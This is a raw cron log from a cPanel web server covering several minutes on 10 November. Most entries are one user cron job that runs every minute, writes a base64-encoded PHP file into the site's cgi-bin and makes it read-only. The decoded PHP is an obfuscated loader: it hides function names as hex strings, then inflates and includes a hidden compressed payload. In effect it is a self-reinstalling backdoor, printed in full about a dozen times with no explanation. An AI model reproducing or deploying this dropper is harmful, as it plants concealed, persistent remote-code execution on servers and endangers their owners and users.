Nov 10 05:42:01 server CROND[5668]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:42:01 server CROND[5669]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 05:43:01 server CROND[6497]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:44:01 server CROND[7315]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:45:01 server CROND[8130]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 05:45:01 server CROND[8131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 05:45:01 server CROND[8132]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:46:01 server CROND[9268]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:47:01 server CROND[10000]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:48:01 server CROND[10795]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:49:01 server CROND[11653]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:50:01 server CROND[12487]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 05:50:01 server CROND[12489]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 05:50:01 server CROND[12490]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 05:50:01 server CROND[12491]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 05:50:02 server CROND[12492]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:51:01 server CROND[13503]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:52:01 server CROND[14314]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:52:01 server CROND[14315]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload &gt; /dev/null 2&gt;&amp;1)
Nov 10 05:53:01 server CROND[15491]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:54:01 server CROND[16331]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 05:55:01 server CROND[17150]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 05:55:01 server CROND[17151]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
